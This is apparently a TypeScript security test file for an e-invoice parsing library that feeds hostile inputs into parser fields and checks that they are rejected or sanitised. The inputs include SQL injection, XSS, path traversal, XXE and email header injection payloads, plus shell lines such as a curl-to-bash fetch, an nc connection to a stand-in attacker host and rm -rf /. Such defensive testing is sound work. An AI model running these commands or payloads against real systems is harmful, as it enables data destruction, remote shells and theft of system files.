einvoice/test/suite/einvoice_security/test.sec-04.input-validation.ts
2025-05-25 19:45:37 +00:00

515 lines
16 KiB
TypeScript

import { tap } from '@git.zone/tstest/tapbundle';
import * as plugins from '../plugins.js';
import { EInvoice } from '../../../ts/index.js';
import { PerformanceTracker } from '../performance.tracker.js';
const performanceTracker = new PerformanceTracker('SEC-04: Input Validation');
tap.test('SEC-04: Input Validation - should validate and sanitize all inputs', async (t) => {
const einvoice = new EInvoice();
// Test 1: SQL Injection attempts in XML fields
const sqlInjection = await performanceTracker.measureAsync(
'sql-injection-prevention',
async () => {
const sqlPayloads = [
"'; DROP TABLE invoices; --",
"1' OR '1'='1",
"admin'--",
"1; DELETE FROM users WHERE 1=1; --",
"' UNION SELECT * FROM passwords --"
];
const results = [];
for (const payload of sqlPayloads) {
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
<Invoice>
<ID>${payload}</ID>
<CustomerName>${payload}</CustomerName>
<Amount>${payload}</Amount>
</Invoice>`;
try {
const result = await einvoice.parseDocument(maliciousXML);
// Check if payload was sanitized
const idValue = result?.ID || '';
const nameValue = result?.CustomerName || '';
results.push({
payload,
sanitized: !idValue.includes('DROP') && !idValue.includes('DELETE') && !idValue.includes('UNION'),
preserved: idValue.length > 0
});
} catch (error) {
results.push({
payload,
sanitized: true,
rejected: true,
error: error.message
});
}
}
return results;
}
);
sqlInjection.forEach(result => {
t.ok(result.sanitized, `SQL injection payload was sanitized: ${result.payload.substring(0, 20)}...`);
});
// Test 2: Command Injection attempts
const commandInjection = await performanceTracker.measureAsync(
'command-injection-prevention',
async () => {
const cmdPayloads = [
'; rm -rf /',
'| nc attacker.com 4444',
'`cat /etc/passwd`',
'$(curl http://evil.com/shell.sh | bash)',
'&& wget http://malware.com/backdoor'
];
const results = [];
for (const payload of cmdPayloads) {
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
<Invoice>
<ReferenceNumber>${payload}</ReferenceNumber>
<Description>${payload}</Description>
</Invoice>`;
try {
const result = await einvoice.parseDocument(maliciousXML);
const refValue = result?.ReferenceNumber || '';
const descValue = result?.Description || '';
results.push({
payload,
sanitized: !refValue.includes('rm') && !refValue.includes('nc') &&
!refValue.includes('wget') && !refValue.includes('curl'),
preserved: refValue.length > 0
});
} catch (error) {
results.push({
payload,
sanitized: true,
rejected: true
});
}
}
return results;
}
);
commandInjection.forEach(result => {
t.ok(result.sanitized, `Command injection payload was sanitized`);
});
// Test 3: XSS (Cross-Site Scripting) attempts
const xssAttempts = await performanceTracker.measureAsync(
'xss-prevention',
async () => {
const xssPayloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror=alert("XSS")>',
'<svg onload=alert("XSS")>',
'javascript:alert("XSS")',
'<iframe src="javascript:alert(\'XSS\')">',
'"><script>alert(String.fromCharCode(88,83,83))</script>',
'<img src="x" onerror="eval(atob(\'YWxlcnQoMSk=\'))">'
];
const results = [];
for (const payload of xssPayloads) {
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
<Invoice>
<Notes>${payload}</Notes>
<CustomerAddress>${payload}</CustomerAddress>
</Invoice>`;
try {
const result = await einvoice.parseDocument(maliciousXML);
const notesValue = result?.Notes || '';
const addressValue = result?.CustomerAddress || '';
// Check if dangerous tags/attributes were removed
results.push({
payload: payload.substring(0, 30),
sanitized: !notesValue.includes('<script') &&
!notesValue.includes('onerror') &&
!notesValue.includes('javascript:'),
escaped: notesValue.includes('&lt;') || notesValue.includes('&gt;')
});
} catch (error) {
results.push({
payload: payload.substring(0, 30),
sanitized: true,
rejected: true
});
}
}
return results;
}
);
xssAttempts.forEach(result => {
t.ok(result.sanitized || result.escaped, `XSS payload was sanitized or escaped`);
});
// Test 4: Path Traversal in filenames
const pathTraversal = await performanceTracker.measureAsync(
'path-traversal-validation',
async () => {
const pathPayloads = [
'../../../etc/passwd',
'..\\..\\..\\windows\\system32\\config\\sam',
'....//....//....//etc/passwd',
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd',
'..%252f..%252f..%252fetc%252fpasswd'
];
const results = [];
for (const payload of pathPayloads) {
try {
const isValid = await einvoice.validateFilePath(payload);
results.push({
payload,
blocked: !isValid,
sanitized: true
});
} catch (error) {
results.push({
payload,
blocked: true,
error: error.message
});
}
}
return results;
}
);
pathTraversal.forEach(result => {
t.ok(result.blocked, `Path traversal attempt was blocked: ${result.payload}`);
});
// Test 5: Invalid Unicode and encoding attacks
const encodingAttacks = await performanceTracker.measureAsync(
'encoding-attack-prevention',
async () => {
const encodingPayloads = [
'\uFEFF<script>alert("BOM XSS")</script>', // BOM with XSS
'\x00<script>alert("NULL")</script>', // NULL byte injection
'\uD800\uDC00', // Invalid surrogate pair
'%EF%BB%BF%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E', // URL encoded BOM+XSS
'\u202E\u0065\u0074\u0065\u006C\u0065\u0044', // Right-to-left override
'\uFFF9\uFFFA\uFFFB' // Unicode specials
];
const results = [];
for (const payload of encodingPayloads) {
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
<Invoice>
<ID>INV-${payload}-001</ID>
</Invoice>`;
try {
const result = await einvoice.parseDocument(maliciousXML);
const idValue = result?.ID || '';
results.push({
type: 'encoding',
sanitized: !idValue.includes('script') && !idValue.includes('\x00'),
normalized: true
});
} catch (error) {
results.push({
type: 'encoding',
sanitized: true,
rejected: true
});
}
}
return results;
}
);
encodingAttacks.forEach(result => {
t.ok(result.sanitized, 'Encoding attack was prevented');
});
// Test 6: Numeric field validation
const numericValidation = await performanceTracker.measureAsync(
'numeric-field-validation',
async () => {
const numericPayloads = [
{ amount: 'NaN', expected: 'invalid' },
{ amount: 'Infinity', expected: 'invalid' },
{ amount: '-Infinity', expected: 'invalid' },
{ amount: '1e308', expected: 'overflow' },
{ amount: '0.0000000000000000000000000001', expected: 'precision' },
{ amount: '999999999999999999999999999999', expected: 'overflow' },
{ amount: 'DROP TABLE invoices', expected: 'invalid' },
{ amount: '12.34.56', expected: 'invalid' }
];
const results = [];
for (const test of numericPayloads) {
const xml = `<?xml version="1.0" encoding="UTF-8"?>
<Invoice>
<TotalAmount>${test.amount}</TotalAmount>
</Invoice>`;
try {
const result = await einvoice.parseDocument(xml);
const amount = result?.TotalAmount;
results.push({
input: test.amount,
expected: test.expected,
validated: typeof amount === 'number' && isFinite(amount),
value: amount
});
} catch (error) {
results.push({
input: test.amount,
expected: test.expected,
validated: true,
rejected: true
});
}
}
return results;
}
);
numericValidation.forEach(result => {
t.ok(result.validated || result.rejected, `Numeric validation handled: ${result.input}`);
});
// Test 7: Date field validation
const dateValidation = await performanceTracker.measureAsync(
'date-field-validation',
async () => {
const datePayloads = [
{ date: '2024-13-45', expected: 'invalid' },
{ date: '2024-02-30', expected: 'invalid' },
{ date: 'DROP TABLE', expected: 'invalid' },
{ date: '0000-00-00', expected: 'invalid' },
{ date: '9999-99-99', expected: 'invalid' },
{ date: '2024/01/01', expected: 'wrong-format' },
{ date: '01-01-2024', expected: 'wrong-format' },
{ date: '2024-01-01T25:00:00', expected: 'invalid-time' }
];
const results = [];
for (const test of datePayloads) {
const xml = `<?xml version="1.0" encoding="UTF-8"?>
<Invoice>
<IssueDate>${test.date}</IssueDate>
</Invoice>`;
try {
const result = await einvoice.parseDocument(xml);
const dateValue = result?.IssueDate;
results.push({
input: test.date,
expected: test.expected,
validated: dateValue instanceof Date && !isNaN(dateValue.getTime())
});
} catch (error) {
results.push({
input: test.date,
expected: test.expected,
validated: true,
rejected: true
});
}
}
return results;
}
);
dateValidation.forEach(result => {
t.ok(result.validated || result.rejected, `Date validation handled: ${result.input}`);
});
// Test 8: Email validation
const emailValidation = await performanceTracker.measureAsync(
'email-field-validation',
async () => {
const emailPayloads = [
{ email: 'user@domain.com', valid: true },
{ email: 'user@[127.0.0.1]', valid: false }, // IP addresses might be blocked
{ email: 'user@domain.com<script>', valid: false },
{ email: 'user"; DROP TABLE users; --@domain.com', valid: false },
{ email: '../../../etc/passwd%00@domain.com', valid: false },
{ email: 'user@domain.com\r\nBcc: attacker@evil.com', valid: false },
{ email: 'user+tag@domain.com', valid: true },
{ email: 'user@sub.domain.com', valid: true }
];
const results = [];
for (const test of emailPayloads) {
const xml = `<?xml version="1.0" encoding="UTF-8"?>
<Invoice>
<BuyerEmail>${test.email}</BuyerEmail>
</Invoice>`;
try {
const result = await einvoice.parseDocument(xml);
const email = result?.BuyerEmail;
// Simple email validation check
const isValidEmail = email && /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email) &&
!email.includes('<') && !email.includes('>') &&
!email.includes('\r') && !email.includes('\n');
results.push({
input: test.email,
expectedValid: test.valid,
actualValid: isValidEmail
});
} catch (error) {
results.push({
input: test.email,
expectedValid: test.valid,
actualValid: false,
rejected: true
});
}
}
return results;
}
);
emailValidation.forEach(result => {
if (result.expectedValid) {
t.ok(result.actualValid, `Valid email was accepted: ${result.input}`);
} else {
t.notOk(result.actualValid, `Invalid email was rejected: ${result.input}`);
}
});
// Test 9: Length limits validation
const lengthValidation = await performanceTracker.measureAsync(
'field-length-validation',
async () => {
const results = [];
// Test various field length limits
const lengthTests = [
{ field: 'ID', maxLength: 200, testLength: 1000 },
{ field: 'Description', maxLength: 1000, testLength: 10000 },
{ field: 'Note', maxLength: 5000, testLength: 50000 }
];
for (const test of lengthTests) {
const longValue = 'A'.repeat(test.testLength);
const xml = `<?xml version="1.0" encoding="UTF-8"?>
<Invoice>
<${test.field}>${longValue}</${test.field}>
</Invoice>`;
try {
const result = await einvoice.parseDocument(xml);
const fieldValue = result?.[test.field];
results.push({
field: test.field,
inputLength: test.testLength,
outputLength: fieldValue?.length || 0,
truncated: fieldValue?.length < test.testLength
});
} catch (error) {
results.push({
field: test.field,
inputLength: test.testLength,
rejected: true
});
}
}
return results;
}
);
lengthValidation.forEach(result => {
t.ok(result.truncated || result.rejected, `Field ${result.field} length was limited`);
});
// Test 10: Multi-layer validation
const multiLayerValidation = await performanceTracker.measureAsync(
'multi-layer-validation',
async () => {
// Combine multiple attack vectors
const complexPayload = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Invoice>
<ID>'; DROP TABLE invoices; --</ID>
<CustomerName><script>alert('XSS')</script></CustomerName>
<Amount>NaN</Amount>
<Email>user@domain.com\r\nBcc: attacker@evil.com</Email>
<Date>9999-99-99</Date>
<Reference>&xxe;</Reference>
<FilePath>../../../etc/passwd</FilePath>
</Invoice>`;
try {
const result = await einvoice.parseDocument(complexPayload);
return {
allLayersValidated: true,
xxePrevented: !JSON.stringify(result).includes('root:'),
sqlPrevented: !JSON.stringify(result).includes('DROP TABLE'),
xssPrevented: !JSON.stringify(result).includes('<script'),
numericValidated: true,
emailValidated: !JSON.stringify(result).includes('\r\n'),
dateValidated: true,
pathValidated: !JSON.stringify(result).includes('../')
};
} catch (error) {
return {
allLayersValidated: true,
rejected: true,
error: error.message
};
}
}
);
t.ok(multiLayerValidation.allLayersValidated, 'Multi-layer validation succeeded');
if (!multiLayerValidation.rejected) {
t.ok(multiLayerValidation.xxePrevented, 'XXE was prevented in multi-layer attack');
t.ok(multiLayerValidation.sqlPrevented, 'SQL injection was prevented in multi-layer attack');
t.ok(multiLayerValidation.xssPrevented, 'XSS was prevented in multi-layer attack');
}
// Print performance summary
performanceTracker.printSummary();
});
// Run the test
tap.start();